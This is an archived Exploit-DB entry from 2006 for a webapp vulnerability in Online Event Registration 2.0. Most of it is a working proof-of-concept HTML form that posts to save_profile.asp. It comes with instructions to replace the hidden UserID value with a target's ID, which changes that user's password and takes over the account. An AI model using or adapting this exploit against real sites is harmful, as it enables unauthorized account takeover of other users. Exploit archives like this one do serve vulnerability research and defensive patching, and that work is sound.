Online Event Registration <= 2.0 save_profile.asp Pass Change Exploit

2006-11-13T00:00:00
ID EDB-ID:2772
Type exploitdb
Reporter ajann
Modified 2006-11-13T00:00:00

Description

Online Event Registration <= 2.0 (save_profile.asp) Pass Change Exploit. Webapps exploit for asp platform

                                        
                                            &lt;!--

# Title  :   Online Event Registration &lt;= v2.0 (save_profile.asp) Remote User Pass Change Exploit
# Author :   ajann

[Code]]]
--&gt;
&lt;html&gt;
&lt;body bgcolor="#000000"&gt;
&lt;form method="POST" action="save_profile.asp?key=1&regkey="&gt;
User Name&lt;input type="hidden" name="UserID" size="4"&gt;
&lt;input type="text" name="UserName" size="20" class="TBox" value="Demo Account" maxlength="40"&gt;
&lt;input type="text" name="Company" size="40" class="TBox" value="Demo Account"&gt;
Email&lt;input type="text" name="EmailAddress" size="40" class="TBox" value="demo@codewidgets.net" maxlength="40"&gt;
Phone&lt;input type="text" name="Phone" size="20" class="TBox" value="780-429-2318" maxlength="14"&gt;
Fax&lt;input type="text" name="Fax" size="20" class="TBox" value="780-429-2319"&gt;
Password&lt;input name="Password" size="20" class="TBox" value="demo" maxlength="10"&gt;
&lt;input type="submit" value="Submit" name="B1" class="PButton"&gt;
&lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;

&lt;!--
[/Code]]]

Change: &lt;input type="hidden" name="UserID" size="4"&gt; =&gt; ID

Next Click "Profile"

#ajann,Turkey
#...

#Im Not Hacker!
--&gt;

# milw0rm.com [2006-11-13]